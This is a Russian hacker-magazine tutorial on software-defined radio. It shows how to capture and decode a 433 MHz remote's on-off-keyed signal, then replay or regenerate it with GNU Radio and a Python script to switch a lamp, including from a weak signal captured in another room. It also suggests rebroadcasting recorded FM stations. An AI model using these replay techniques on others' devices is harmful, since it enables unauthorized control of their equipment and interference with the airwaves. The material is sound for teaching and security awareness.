ров вро де бы не оста лось,  а  в Евро пе и США они живы до сих пор, ими
поль зуют ся пожар ные, медики и про чие служ бы.

• На  час тоте  255  МГц  работа ют  аме рикан ские  спут ники  свя зи  .
Инте рес ны они тем, что спут ники ста рые и ана лого вые и общать ся через
них, в прин ципе, может любой жела ющий, никаких паролей и аутен тифика‐ 
ции. Чем до сих пор поль зуют ся некото рые бра зиль ские и мек сикан ские
фер меры, которые прис пособи ли такие спут ники вмес то халяв ного ради‐ 
оте лефо на.  Нуж на  лишь  ради останция  на  этот  диапа зон  и  нап равлен ная
антенна. Сде лать это может каж дый, но на тер ритории Рос сии сиг нал сла‐ 
бый.

SATCOM

• На час тотах 865 МГц и 2,4 ГГц находит ся диапа зон ISM (Industrial, Scientific,
Medical).  Там работа ют ради омо демы,  устрой ства  IoT и раз ные девай сы.
Если ты хочешь переда вать дан ные со сво ей Arduino без про водов — бери
модуль на этот диапа зон.

• На час тотах 900 и 1800 МГц работа ет сотовая связь.
• На  час тоте  1090 МГц  работа ет  ADS‐B —  тран спон деры  самоле тов,  бла‐ 
года ря  которым  ты  можешь  видеть  про лета ющие  самоле ты  на  сай те

. И эти сиг налы тоже мож но при нимать и декоди ровать самос‐ 
тоятель но.
Flighradar24

• На  час тоте  1575  МГц  переда ются  сиг налы  GPS,  бла года ря  которым
работа ет навига ция в тво ем смар тфо не или авто моби ле.

• Еще выше по час тоте (10 ГГц и более) работа ют спут ники, ради оре лей ные
линии свя зи.

Эк скурс  вышел  не  очень  крат ким,  но  это  было  необ ходимо.  Теперь  пора
погово рить о том, что нам нуж но, что бы ради осиг налы при нимать и переда‐ 
вать.

ЖЕЛЕЗО
В  ради отех нике,  как  и  во  мно гих  жиз ненных  областях,  все  зависит  от  бюд‐ 
жета.  При мер но  за  30  дол ларов  мож но  купить  при емник  RTL‐SDR  V3,  поз‐ 
воля ющий при нимать ради осиг налы в диапа зоне от 24 до 1700 МГц.

RTL‐SDR

В ком плект вхо дит антенна и мини‐шта тив. Осте регай ся под делок и не бери
сов сем дешевые модели с AliExpress за десять бак сов. Да, китай цы научи лись
уже под делывать сами себя.

С этим при емни ком мож но при нимать сиг налы ави адиапа зона, FM‐радио,
пор татив ных  ради останций,  ADS‐B,  некото рых  модемов.  Но  вот  переда вать
RTL‐SDR не может.

Ес ли  ты  хочешь не  толь ко  при нимать ради осиг налы,  но и  переда вать  их,
тог да хороший выбор — это LimeSDR или LimeSDR Mini. Пер вый более фун‐ 
кци ональ ный и дорогой, вто рой дешев ле. При мер но за 200 или 400 дол ларов
ты получа ешь устрой ство, спо соб ное и при нимать, и переда вать в диапа зоне
от 10 МГц до 3,8 ГГц.

LimeSDR Mini

Ус трой ство про дает ся через кра удфандин говый сайт   и не всег да
есть  в  наличии,  так  что  лови момент.  Кста ти,  этих  LimeSDR авто ры про дали
на  два  мил лиона  дол ларов.  Хорошие  зна ния  в  элек тро нике  могут  сде лать
тебя не толь ко умным, но и богатым!

crowdsupply

От дель но хочу ска зать о HackRF One. Этот девайс поз воля ет переда вать
и при нимать на час тотах от 1 МГц до 6 ГГц.

HackRF

Ус трой ство, в прин ципе, неп лохое, но мораль но уста рело, име ет лишь вось‐ 
мибит ный  ЦАП  и  АЦП  и  не  может  одновре мен но  при нимать  и  переда вать,
а это иног да важ но. Поэто му,  нес мотря на  хакер ское наз вание, брать его я
не рекомен дую — за те же 300–400 дол ларов мож но взять более сов ремен‐ 
ный девайс. Попада ются и дешевые китай ские кло ны, но их я не тес тировал
и ничего ска зать не могу.

Есть  и  дру гие  устрой ства  (USRP,  BladeRF,  Airspy),  но  опи сан ных  выше
для наших задач дос таточ но. Так что делай заказ в интернет‐магази не на то,
что боль ше пон равилось, а пока посыл ка идет поч той, можешь пот ратить вре‐ 
мя на теорию.

СОФТ
В  этой  час ти  мы  погово рим  о  при еме  ради осиг налов  и  их  декоди рова нии.
Для  при мера  возь мем  что‐нибудь  поп роще  и  подешев ле,  что  есть  дома
у мно гих, — бес про вод ной вык лючатель.

Бес про вод ной вык лючатель на 433 МГц

Он хорош тем, что его сиг нал прос той и понят ный, для его ана лиза дос таточ‐ 
но даже редак тора Paint. Нам понадо бит ся толь ко при емник (будет дос таточ‐ 
но RTL‐SDR) и бес плат ная прог рамма  .SDR#

Ви ды модуля ции
Для  начала  раз берем ся,  как  вооб ще  сиг налы  переда ются  по  радио.  Здесь
есть нес коль ко воз можных вари антов.

 модуля ция (АМ — Amplitude Modulation). Здесь ампли туда
передат чика модули рует ся нуж ным нам сиг налом. Это как раз то, что ты изу‐ 
чал  в шко ле  на физике  в  раз деле  «детек торный  при емник».  Плюс  схе мы —
в ее прос тоте, и в прос тых устрой ствах она до сих пор активно исполь зует ся.
На  спек тре ее  лег ко отли чить  по  харак терно му  виду — по  сим метрии отно‐ 
ситель но цен тра.

Ам пли туд ная

 модуля ция (FM — Frequency Modulation). Здесь модули рует ся
не ампли туда,  а  час тота. Исполь зует ся  в  пор татив ных ради останци ях,  ради‐ 
оня нях и во всем им подоб ном.

Час тотная

 модуля ция, QAM, OFDM — исполь зует ся в модемах, циф ровых
видах  свя зи  для  переда чи  голоса  или  дан ных.  Если  ты  видишь  на  спек тре
широкий сиг нал, это оно.

Фа зовая

В  нашем  слу чае  все  прос то.  Дешевые  китай ские  пуль ты  исполь зуют
ампли туд ную  модуля цию  в  ее  самом  прос тей шем  циф ровом  фор мате,
называ емом OOK — On‐Off Keying.

За пись
Для начала вни матель но смот рим на пульт. В моем слу чае на зад ней сто роне
пуль та было написа но Made  in China и Frequency 433.92MHz. Это облегча ет
нам задачу. Хотя даже если бы это не было написа но, час тоту лег ко най ти —
ширина полосы RTL‐SDR сос тавля ет 2 МГц, и такие сиг налы на экра не SDR#
хорошо вид но.

В моем слу чае реаль ная час тота ока залась 434 МГц — видимо, ±100 кГц
для  китай ской  тех ники  не  пог решность.  Сам  сиг нал  дол жен  быть  хорошо
виден, если под нести пульт к антенне и нажать кноп ку.

Сиг нал в SDR#

Ос талось его записать. Запус каем SDR#, нас тра иваем ся на час тоту, выбира‐ 
ем  модуля цию  AM,  вклю чаем  запись,  под носим  пульт  к  антенне  при емни ка
и нажима ем на нем под ряд все кноп ки. На выходе мы дол жны получить файл
WAV, который мы и будем ана лизи ровать.

АНАЛИЗ
Фор мат On‐Off Keying — очень  прос той  бинар ный фор мат,  и  никаких  серь‐ 
езных инс тру мен тов для работы с ним нам не пот ребу ется. Прос то откры ваем
файл в любом ауди оре дак торе, я исполь зовал Cool Edit.

SDR# почему‐то пишет WAV в фор мате сте рео, хотя АМ не может быть сте‐ 
рео. В том же Cool Edit я скон верти ровал «звук» в моно.

Ес ли все было сде лано пра виль но, мы уви дим подоб ную кар тинку

Мож но обой тись и без Cool Edit, если у тебя его нет или если ты прин ципи‐ 
аль но  про тив  исполь зования  взло ман ного  ПО.  Вывес ти  файл  WAV  мож но
с помощью Python и биб лиотек для науч ной обра бот ки и визу али зации дан‐ 
ных NumPy, SciPy и Matplotlib.

Что бы  код  зарабо тал,  нуж но  уста новить  Python  3  или  2.7  и  биб лиоте ки
Matplotlib, NumPy и SciPy, а пос ле ввес ти сле дующую коман ду:

в Windows:•

> C:\Python3\Scripts\pip.exe install numpy scipy matplotlib

в Linux:•

$ sudo pip install numpy scipy matplotlib

Код самой прог раммы:

import scipy.io.wavfile
import numpy as np
import matplotlib.pyplot as plt

rate, data = scipy.io.wavfile.read('recording.wav')
data_left = data[:, ‐1]

plt.figure(1)
time = np.linspace(0, len(data_left)/rate, num=len(data_left))
plt.plot(time, data_left)
plt.tight_layout()
plt.show()

За пус тив прог рамму в кон соли, уви дим такую кар тинку.

За пись в Matplotlib

Идем  даль ше  и  пыта емся  понять,  что  же  тут  изоб ражено.  На  моем  пуль те
десять  кно пок, десять боль ших бло ков — это мои десять нажатий. Уве личи‐ 
ваем  пер вый  блок  и  видим,  что  он  сос тоит  из  оди нако вых  фраг ментов,
которые пов торя ются каж дые 0,08 с. Все прос то: 0,08 с — это дли тель ность
одной посыл ки, и, пока ты дер жишь кноп ку нажатой, она цик личес ки пов торя‐ 
ется.

Пов торя ющаяся пос ледова тель ность

Те перь уве личи ваем блок еще боль ше и смот рим на каж дую пос ледова тель‐ 
ность. В качес тве при мера возь мем час ти из пос ледова тель нос тей для пер‐ 
вой и вто рой кно пок и выведем их рядом с помощью Paint.

Это  самый  обыч ный  дво ичный  код.  Пик  —  это  еди ница,  его  отсутс твие  —
ноль. Хорошо вид но,  что две кноп ки отли чают ся дву мя битами. Таким обра‐ 
зом,  пульт  прос то  посыла ет  длин ную  дво ичную  пос ледова тель ность,  соот‐ 
ветс тву ющую нажатой  кноп ке. Мож но  убе дить ся  в  этом, нажимая осталь ные
кноп ки и наб людая дру гие пос ледова тель нос ти.

Дли на  пос ледова тель нос ти  обус ловле на  мно гооб рази ем  и  количес твом
устрой ств.  Пос ледова тель ность  сде лана  такой  длин ной,  что бы  веро ятность
сов падения кодов была неболь шой.

По это му прин ципу работа ет мно жес тво девай сов — бес про вод ные пуль‐ 
ты, мете останции, дат чики дав ления в шинах. Дешево и сер дито, устрой ство
прак тичес ки  не  тре бует  питания,  такой  дат чик  в  мете останции,  нап ример,
может работать год от двух батаре ек. Но минус тут тоже оче виден — пол ное
отсутс твие  какой‐либо  защиты,  все  переда ется  в  откры том  виде.  Зачас тую
это не кри тич но, но такой пульт на дверь гаража я бы все же вешать не стал.

Ис поль зуя дешевые бес про вод ные пуль ты, знай, что их дан ные пред став‐ 
ляют собой прос той дво ичный код и никак не защище ны ни от прос лушива‐ 
ния, ни от переда чи. Если безопас ность кри тич на, исполь зуй более дорогие
устрой ства, нап ример на базе Z‐Wave или Philips Hue.

Те бе  навер няка  было  бы  лень  счи тать  биты  на  кар тинке,  что бы  узнать,
какая кноп ка была нажата. И ты не оди нок — умные люди уже написа ли прог‐ 
рамму  ана лиза  сиг налов  на  час тоте  433  МГц  для  при емни ка  RTL‐SDR,
которая так и называ ется — rtl_433. Ты можешь ска чать ее на   или най‐ 
ти в интерне те в фор мате .exe. В эту прог рамму заложе на боль шая база раз‐ 
ных устрой ств, так что, запус тив ее, ты уви дишь все в понят ном виде.

GitHub

За пус каем  прог рамму  из  коман дной  стро ки  коман дой 
и получа ем зна чения всех дат чиков, которые дос тупны поб лизос ти.

rtl_433.exe  ‐G

Вы вод прог раммы rtl_433

Так  я  узнал  тем перату ру  и  влаж ность  воз духа  от  неко его  Nexus,  ско рость
и  нап равле ние  вет ра  от  Wind  Sensor.  Спи сок  дат чиков,  которые  под держи‐ 
вают ся  прог раммой,  боль шой,  прог рамма  кросс‐плат формен ная  и  может
работать на Windows, OS X, Linux и даже на Raspberry Pi.

Ес ли идея переда чи дан ных без про водов  тебе пон равилась,  ты можешь
купить недоро гой ради омо дуль для Arduino на eBay или AliExpress. Най ти его
нес ложно — ищи по сло вам Arduino 433MHz, цена  такого модуля при мер но
один дол лар за шту ку.

Ког да будешь исполь зовать такой модем, пом ни: вре мя переда чи не дол‐ 
жно пре вышать 1% от обще го вре мени (так называ емый параметр  ).
Час тота  одна  для  всех,  и  нуж но  дать  вре мя  дру гим  устрой ствам  передать
свои дан ные.

duty cycle

Се год ня  мы  научи лись  толь ко  при нимать  и  ана лизи ровать  ради осиг нал.
О  том,  как  переда вать  дан ные  и  управлять  устрой ства ми  при  помощи
передат чика  SDR,  я  рас ска жу  в  дру гой  раз.  Наде юсь,  я  зас тавил  тебя
по‐новому пос мотреть на радио!

mailto:dmitryelj@gmail.com
https://ru.wikipedia.org/wiki/%D0%97%D0%B5%D0%B2%D1%81_(%D0%BF%D0%B5%D1%80%D0%B5%D0%B4%D0%B0%D1%82%D1%87%D0%B8%D0%BA)
https://en.wikipedia.org/wiki/Super_low_frequency
https://en.wikipedia.org/wiki/Alpha_(navigation)
https://www.youtube.com/watch?v=L7HNsmlJoZc
https://ru.wikipedia.org/wiki/DCF77
https://www.youtube.com/watch?v=MmO3KFceogI
https://ru.wikipedia.org/wiki/%D0%A1%D0%B0%D1%82%D0%BA%D0%BE%D0%BC_(%D1%81%D0%BF%D1%83%D1%82%D0%BD%D0%B8%D0%BA)
https://www.flightradar24.com/
https://www.crowdsupply.com/
https://airspy.com/download/
https://github.com/merbanan/rtl_433
https://www.thethingsnetwork.org/docs/lorawan/duty-cycle.html
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Пред ста вим, что ты пой мал, перех ватил и рас шифро вал сиг‐ 
нал управле ния каким‐то устрой ством. Теперь нас тала пора
его  под делать!  А  для  это го  нуж но  научить ся  переда вать
любые  сиг налы.  Готовим  ради опе редат чик  —  и  впе ред
к победе!

ЖЕЛЕЗО
В  качес тве  при мера  будем  рас смат ривать  сиг налы  от  пуль та,  работа юще го
на час тоте 434 МГц.

Бес про вод ной пульт

Та кой пульт для наших целей хорош по двум при чинам:
1. Его сиг нал очень прост для изу чения и пред став ляет собой модули рован‐ 
ный  нуж ной  час тотой  бинар ный  код  (так  называ емая  модуля ция  OOK —
On‐Off Keying).

2. По такому прин ципу работа ют мно гие устрой ства,  так что, разоб равшись
с одним, нет рудно управлять и дру гими.

Для  при ема  сиг нала  мы  поль зовались  дешевым  при емни ком  RTL  SDR  V3,
купить который мож но за 30 дол ларов. Он хорош для при ема и ана лиза сиг‐ 
налов,  но  вот  переда вать,  увы,  RTL  SDR  не  уме ет.  Тут  нам  при годит ся
что‐нибудь более фун кци ональ ное, нап ример LimeSDR или HackRF.

INFO

Под робнее  об  этом  я  писал  в  статье  «

».

Ло ви  сиг‐ 
нал!  Исполь зуем SDR,  что бы  перех ватить  и  рас‐ 
шифро вать сиг нал пуль та

СОФТ
Глав ное  отли чие  Software  Defined  Radio  от  радио  обыч ного  в  том,  что  вся
обра бот ка  сиг нала  выпол няет ся  в  «циф ре».  Задача  самого  устрой ства  сво‐ 
дит ся к  тому, что бы передать циф ровой поток на ЦАП, который тран сли рует
все в эфир. Ско рость оциф ровки и ширина полосы про пус кания свя заны 

: чем боль ше чис ло отсче тов в секун ду, тем
более широко полос ный сиг нал мож но передать.

те‐ 
оре мой Шен нона — Котель никова

Ско рос ти  сов ремен ных  ЦАП  и  АЦП  таковы,  что  SDR  может  записы вать
одновре мен но  весь  эфир  FM  в  диапа зоне  от  88  до  108  МГц  целиком.
Или  переда вать  сра зу  нес коль ко  сиг налов  одновре мен но  на  раз ных  час‐ 
тотах — глав ное, эти сиг налы пра виль но сфор мировать прог рам мно.

При вет из Гол ландии
В качес тве при мера воз можнос тей SDR хочу поделить ся  , которую я
сде лал  в  Амстер даме.  Она  содер жит  все  FM‐ради останции  сра зу  в  диапа‐ 
зоне  от  91  до  105  МГц,  десять  секунд  такой  записи  занима ют  660  Мбайт.
Можешь ска чать этот файл и пос лушать, что игра ется на гол ланд ском радио.

за писью

Про играть файл можешь в бес плат ной прог рамме SDR# — в  ней мож но
открыть  запись  и  слу шать  любую  стан цию,  как  с  обыч ного  при емни ка.  Но  в
отли чие от  при емни ка  все декоди рова ние идет  в  «циф ре»,  а  на  вхо де  лишь
циф ровой  поток.  Думаю,  теперь  ты  пред став ляешь,  какая  вычис литель ная
мощ ность у сов ремен ных SDR.

Вер немся  к  бес про вод ному  пуль ту.  Наша  задача  —  сфор мировать  нуж ный
нам сиг нал, а SDR передаст его в эфир. Клас сикой для циф ровой обра бот ки
сиг налов  счи тает ся  прог рамма  .  Это  не  прос то  прог рамма,
а целый фрей мворк с огромным количес твом ком понен тов для работы с сиг‐ 
налами  и  воз можностью  добав лять  собс твен ные  модули.  Рань ше  эта  прог‐ 
рамма была дос тупна толь ко в Linux, но пос ледние вер сии работа ют и в 64‐
бит ных вер сиях Windows. Поль зовате ли macOS могут  уста новить GNU Radio
с помощью  .

GNU  Radio

brew
В  общем,  уста нав лива ем  GNU  Radio,  под клю чаем  SDR  и  прис тупа ем

к работе с сиг налами.

ПРИЕМ
Что бы передать сиг нал, сна чала нуж но его при нять и сох ранить как обра зец.
Запус каем GNU Radio Companion и собира ем из бло ков схе му.

При ем в GNU Radio

GNU Radio ори енти рова на на поточ ную обра бот ку дан ных, в ней мож но соз‐ 
давать из бло ков схе му, которая будет выпол нять опе рации. В дан ном слу чае
мы име ем  толь ко  два  бло ка:  Source  (источник)  и Sink  (при емник,  бук валь но
«слив»).  Я  исполь зую  SDR  USRP,  поэто му  в  качес тве  источни ка  —  USRP
Source. В тво ем слу чае устрой ство может быть дру гим — ищи в докумен тации
к тво ему SDR. В качес тве при емни ка исполь зует ся FFT Sink — блок визу али‐ 
зации  дан ных,  который  поз волит  нам  уви деть  наличие  сиг нала.  Он  не  обя‐ 
зате лен  для  записи,  но  без  него  будет  непонят но,  при нима ем  мы  сиг нал
или нет.

В свой ствах при емни ка я так же ука зал час тоту, на которой мы хотим при‐ 
нимать,  —  434  МГц.  Час тоту  дис кре тиза ции  (sample  rate)  я  уста новил  рав‐ 
ной 128 000, это го дос таточ но для записи сиг нала. Запус каем про ект в GNU
Radio, под носим пульт поб лиже к антенне, нажима ем на нем любую кноп ку, и,
если все было сде лано пра виль но, мы уви дим хорошо замет ный всплеск сиг‐ 
нала на спек тре.

Спектр сиг нала в GNU Radio

Ес ли сиг нал виден нор маль но, мы можем его записать. Добав ляем блок File
Sink.

Схе ма в GNU Radio с бло ком записи

GNU  Radio  для  Windows  тре бует  абсо лют ные  пути  фай лов,  ина че  ничего
не работа ет. В Linux такой проб лемы нет.

За пус каем прог рамму, нажима ем кноп ку на пуль те, зак рыва ем прог рамму.
В  ука зан ной  нами  пап ке  дол жен  появить ся  файл    раз мером
при мер но  5  Мбайт,  содер жащий  наш  сиг нал.  Его  мож но  открыть  в  любом
ауди оре дак торе,  нап ример в Cool Edit,  если  выб рать  тип фай ла  «сте рео»  (в
SDR пишут ся два канала, называ емых I и Q) и тип дан ных  . Мы же откро‐ 
ем его с помощью Python и биб лиоте ки для науч ных рас четов NumPy.

433_signal.iq

float

import numpy as np
import matplotlib.pyplot as plt

data = np.fromfile('433_signal.iq', dtype=np.float32)
data_2ch = np.reshape(data, (‐1, 2))
data_left = data_2ch[:, ‐1]
rate = 128000

plt.figure(1)
time = np.linspace(0, len(data_left)/rate, num=len(data_left))
plt.plot(time, data_left)
plt.tight_layout()
plt.show()

За писан ный файл не име ет заголов ка  , а содер жит непос редс твен но дан‐ 
ные  ,  так что час тоту дис кре тиза ции и  тип дан ных необ ходимо ука зать
вруч ную.  Так же  с  помощью    вход ной  одно мер ный  мас сив  пре‐ 
обра зует ся  в  дву мер ный:  запись  у  нас  содер жит  два  канала.  Для  удобс тва
отоб ражения я вывожу толь ко один канал.

wav
float

np.reshape

За пус каем прог рамму и видим наш сиг нал.

Сиг нал в Matplotlib

Что бы  избе жать  иска жения,  уро вень  записи  не  дол жен  быть  слиш ком
высоким и упи рать ся в 1.0. При этом он не дол жен и быть слиш ком низ ким,
ина че качес тво переда ваемо го сиг нала будет пло хим. Уро вень сиг нала меж‐ 
ду 0.5 и 1.0 — опти маль ный. В моем слу чае было дос таточ но дер жать пульт
при записи в нес коль ких сан тимет рах от антенны.

Ес ли  ты  не  видишь  ничего,  а  вмес то  это го  выда ется  ошиб ка  отсутс твия
биб лиоте ки NumPy или Matplotlib, то нуж но их уста новить:

в  Windows: 
;

• C:\Python3\Scripts\pip.exe  install  numpy  mat

plotlib

в Linux:  ;• $ sudo pip install numpy scipy matplotlib

в  пос ледних  вер сиях  macOS: 
.

• $  pip3  install  numpy  scipy  mat

plotlib user

ПЕРЕДАЧА
Пос ле  того  как  мы  записа ли  сиг нал,  нуж но  соб рать  блок‐схе му  для  его
переда чи. Прин цип такой же, но с неболь шими отли чиями.

Пе реда ча в GNU Radio

Блок File Source — источник нашего сиг нала — для это го мы его и  записы‐ 
вали.  Блок  Throttle  ука зыва ет,  с  какой  ско ростью  сиг нал  будет  подавать ся
на передат чик. В нашем слу чае час тота дис кре тиза ции рав на 128 000. Multiply
Const  слег ка  уве личи вает  уро вень сиг нала,  что бы он был бли зок  к еди нице:
это поз воля ет мак сималь но исполь зовать мощ ность передат чика. И наконец,
блок  USRP  Sink  переда ет  дан ные  в  реаль ный  SDR.  Уро вень  сиг нала
на выходе (Gain) я уста новил рав ным 70, для дру гих моделей SDR это чис ло
может отли чать ся.

Это зависит еще и от уда лен ности от управля емо го устрой ства — в моем
слу чае бес про вод ной  пульт  управля ет  лам пой,  которая  висит  в  дру гой  ком‐ 
нате. Поэто му мощ ность я уста новил поболь ше. Час тота переда чи ука зана та
же,  что  исполь зовалась  для  при ема.  Модуль  Scope  Sink  не  обя затель ный
и слу жит для кон тро ля переда ваемых дан ных.

Про веря ем.  Запус каем  прог рамму,  и  на  SDR  вклю чает ся  све тоди од  TX,
лам па загора ется.

Пос ле того как прог рамма готова и отла жена, GNU Radio Companion мож‐ 
но  не  исполь зовать.  Для  это го  в  нас трой ках  про екта  меня ем    на 

 и выбира ем опцию  , уби раем блок Scope Sink. Затем
выбира ем в меню Run → Generate,  соз дает ся файл  ,  который
и  содер жит  готовое  при ложе ние  на  Python.  Его  мож но  исполь зовать
из коман дной стро ки, как любую дру гую прог рамму на Python.

WX  GUI No 
GUI Run to Completion

top_block.py

Мож но  открыть  файл    и  убе дить ся,  что  код  понятен  и  при
желании его мож но изме нить.

top_block.py

GNU Radio Python Flow Graph
from gnuradio import blocks
from gnuradio import eng_notation
from gnuradio import gr
from gnuradio import uhd
from gnuradio.eng_option import eng_option
from gnuradio.filter import firdes
from optparse import OptionParser
import time

class top_block(gr.top_block):

   def __init__(self):
       gr.top_block.__init__(self, "Top Block")

       # Variables
       self.samp_rate = samp_rate = 128000

       # Blocks
       self.uhd_usrp_sink_0 = uhd.usrp_sink(
         ",".join(("", "")),
         uhd.stream_args(cpu_format="fc32", channels=range(1),),
       )
       self.uhd_usrp_sink_0.set_samp_rate(samp_rate)
       self.uhd_usrp_sink_0.set_center_freq(434000000, 0)
       self.uhd_usrp_sink_0.set_gain(70, 0)
       self.uhd_usrp_sink_0.set_antenna('TX/RX', 0)
       self.blocks_throttle_0 = blocks.throttle(gr.sizeof_gr_complex
*1, samp_rate,True)
       self.blocks_multiply_const_vxx_0 = blocks.multiply_const_vcc(
(1.8, ))
       self.blocks_file_source_0 = blocks.file_source(gr.sizeof
_gr_complex*1, 'D:\\Temp\\1\\433_signal.iq', False)

       # Connections
       self.connect((self.blocks_file_source_0, 0), (self.blocks
_throttle_0, 0))
       self.connect((self.blocks_multiply_const_vxx_0, 0), (self.
uhd_usrp_sink_0, 0))
       self.connect((self.blocks_throttle_0, 0), (self.blocks
_multiply_const_vxx_0, 0))

   def get_samp_rate(self):
       return self.samp_rate

   def set_samp_rate(self, samp_rate):
       self.samp_rate = samp_rate
       self.uhd_usrp_sink_0.set_samp_rate(self.samp_rate)
       self.blocks_throttle_0.set_sample_rate(self.samp_rate)

def main(top_block_cls=top_block, options=None):
   tb = top_block_cls()
   tb.start()
   tb.wait()

if __name__ == '__main__':
   main()

Ес ли  ты  зна ешь  Python,  можешь  модифи циро вать  прог рамму  по  сво ему
усмотре нию.  Нап ример,  ты  можешь  переда вать  имя  записан ного  фай ла
через параметр коман дной стро ки, что поз волит симули ровать нажатие раз‐ 
ных кно пок пуль та.

Про веря ем: откры ваем Power Shell и запус каем прог рамму, лам па дол жна
загореть ся.

Пе реда ча сиг нала из коман дной стро ки

Та ким спо собом мож но при нимать и переда вать раз ные сиг налы — не толь ко
от  пуль та,  но  и  от  любого  устрой ства,  работа юще го  по  ана логич ному  прин‐ 
ципу. Прос тор для экспе римен тов огромный.

Пе реда вать с помощью SDR мы можем любой записан ный сиг нал — мож‐ 
но записать FM‐стан цию в городе, затем «рет ран сли ровать» ее на даче. Сиг‐ 
нал  будет  переда вать ся  как  есть,  вклю чая  RDS  и  сте рео. Мож но  даже  уве‐ 
личить  час тоту  дис кре тиза ции  и  переда вать  сра зу  нес коль ко  FM‐стан ций
парал лель но.  Все  зависит  толь ко  от  того,  сколь ко  дис кового  мес та
под  запись  тебе  не  жал ко  и  какова  мак сималь ная  ширина  полосы  про пус‐ 
кания  тво его  SDR.  Единс твен ный  недос таток  —  выход ная  мощ ность  SDR
доволь но мала, и даль ность будет неболь шой.

Продолжение статьи →
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https://cloud.mail.ru/public/NUT6/2ubDEWV3e
https://downloads.myriadrf.org/builds/PothosSDR/


ЛОВИ СИГНАЛ!
УЧИМСЯ ПЕРЕДАВАТЬ СИГНАЛ И УПРАВЛЯТЬ

ЧУЖОЙ ТЕХНИКОЙ

COVERSTORY  НАЧАЛО СТАТЬИ←

ПЕРЕХВАТ СЛАБОГО СИГНАЛА
Рас смот рим  теперь  более  слож ную  задачу.  Пред ста вим,  что  физичес кого
дос тупа  к пуль ту  у нас нет. Для при мера я  записал сиг нал с пуль та, находя‐ 
щего ся  в  дру гой  ком нате.  Откры ваем  его  с  помощью  Python  и  смот рим
на резуль тат.

Сла бый сиг нал

Ес ли срав нить с пре дыду щей записью, сиг нал сла бее в двес ти раз, уро вень
шумов выше. Наш преж ний под ход тут не сра бота ет: SDR ведь не зна ет, что
ему  нуж но  передать,  и  он  передаст  сла бый  и шум ный  сиг нал.  Поп робовать
мож но, но резуль тат оче виден: лам па не загора ется.

Есть целых три спо соба решить эту задачу.
  У  нас  ведь Soft‐

ware Defined Radio: что хотим в циф ре, то и дела ем. Изме ним параметр Multi‐
ply Const с 1.8, ну, нап ример, на 300. Если точ нее, нам нуж но открыть Scope
Sink и подоб рать параметр так, что бы сиг нал стал в диапа зоне от 0.5 до 0.9.

Ва риант 1 — прос то уве личим уро вень сиг нала.

Сиг нал пос ле уси ления

Ре зуль тат:  запус каем  прог рамму,  лам па  горит.  Но  такой  спо соб  я  не  могу
рекомен довать. При чина прос та: вмес те с полез ным сиг налом мы переда ем
в  эфир  весь  уси лен ный шум и мусор,  что  сни жает  эффектив ность  переда чи
и запол няет ненуж ными помеха ми ради оэфир.

Пос мотри, что переда ется в эфир: свер ху сиг налы от нас тояще го пуль та,
жир ный сиг нал сни зу — это наш, уси лен ный в трис та раз вмес те с шумом сиг‐ 
нал.

Сиг нал в эфи ре

 Он прос то обре жет все лиш‐ 
нее.
Ва риант 2 — добавим полосо вой филь тр.

Вер немся к спек тру сиг нала: пик при ходит ся на час тоту 6,5 кГц.

Спектр сиг нала в GNU Radio

Все вок руг него — шум, который мож но и нуж но убрать. Заменя ем блок Multi‐
ply  Const  на  блок  Band  Pass  Filter,  ука зыва ем  парамет ры  вер хней  и  ниж ней
гра ницы  в  4  и  9  кГц  —  цен траль ная  час тота  с  неболь шим  запасом  вле во
и впра во. Уси ление в трис та раз зададим в парамет ре Gain.

Схе ма соеди нений в GNU Radio

За пус каем:  все  работа ет,  лам па  загора ется.  Инте рес но  пос мотреть
на  спектр  сиг нала  —  он  получил ся  гораз до  ком пак тнее  по  занима емой
полосе (вер хний сиг нал), чем сиг нал ори гиналь ного пуль та (ниж ний сиг нал).

«Циф ровой» и «обыч ный» сиг налы в эфи ре

Не уди витель но — в дешевые китай ские пуль ты ста вят прос тей шие ком понен‐ 
ты ценой менее дол лара, и на качес тво тут рас счи тывать не при ходит ся.

Мы  убра ли  шум  вок руг  сиг нала,  но  в  самой  полосе  сиг нала  дан ные  так
и переда ются вмес те с шумом, который был записан из эфи ра. Кар диналь ный
спо соб улуч шить это — отка зать ся от переда чи записан ного сиг нала в эфир
и сфор мировать циф ровой сиг нал заново, без шумов.

Ва риант 3 — сфор миру ем сиг нал заново, с нуля.

Схе ма соеди нений в GNU Radio

Не пугай ся. Если рас смат ривать про хож дение сиг нала сле ва нап раво, то все
ста новит ся про ще.

Мы зна ем, что наш пульт переда ет в АМ, так что пер вым шагом мы выпол‐ 
няем  демоду ляцию  АМ.  Для  это го  исходный  сиг нал  пуль та,  находя щий ся
на  час тоте  6,5  кГц  от  цен тра,  сме щает ся  на  нулевую  час тоту  умно жени ем
на  синусо идаль ный  сиг нал.  Вспо мина ем  школь ную  фор мулу  умно жения
косину сов — резуль татом будет сум ма и раз ность час тот.

За тем мы уби раем лиш нее с помощью Low Pass Filter и выделя ем ампли‐ 
туду сиг нала с помощью Complex  to Mag. Как ты пом нишь, из SDR при ходят
два  потока  дан ных,  называ емых  I  и  Q,  которые  в  GNU  Radio  пред став лены
как ком плексные чис ла. На выходе пос ле Complex to Mag мы име ем демоду‐ 
лиро ван ный сиг нал АМ.

Те перь  нуж но  пре обра зовать  наш  сиг нал  в  бинар ный,  для  чего  исполь‐ 
зует ся блок Threshold. Он дела ет  то, ради чего это затева лось, — пре обра‐ 
зует шум ный вход ной сиг нал в чис тый выход ной. Пос мотри на раз ницу.

Сиг нал до и пос ле бло ка Threshold

Мы  име ем  неп лохой  запас  по  ,  а  зна чит,  мог ли  бы
при нять еще более сла бые сиг налы.

от ношению  сиг нал/шум

И  пос леднее:  переда ча  сфор мирован ного  сиг нала  обратно  в  эфир.
Для это го мы сдви гаем его обратно на те же 6,5 кГц, обре заем все лиш нее
с помощью Band Pass Filter  (исходный циф ровой сиг нал пря моуголь ный,  так
что он  име ет мно го  ненуж ных  нам  гар моник),  и  окон чатель ные дан ные  пос‐ 
тупа ют на USRP Sink.

Пос ледний тест: запус каем прог рамму, лам па загора ется.
Ес ли  убрать Band Pass  Filter,  то  на  выходе мы получа ем широкий спектр,

точ но  такой  же,  как  у  ори гиналь ного  пуль та.  Из  это го  мы  можем  сде лать
вывод: китай цы сэконо мили, и никако го выход ного филь тра в этом пуль те нет.
Они  прос то  взя ли  генера тор  на  434  МГц  и  модули руют  его  циф ровым
управля ющим  сиг налом.  Ско рее  все го,  прос тей ший  мик рокон трол лер,
который  генери рует циф ровые сиг налы при нажатии  кно пок, нап рямую под‐ 
клю чен ко вхо ду   мик росхе мы генера тора ВЧ.Enable

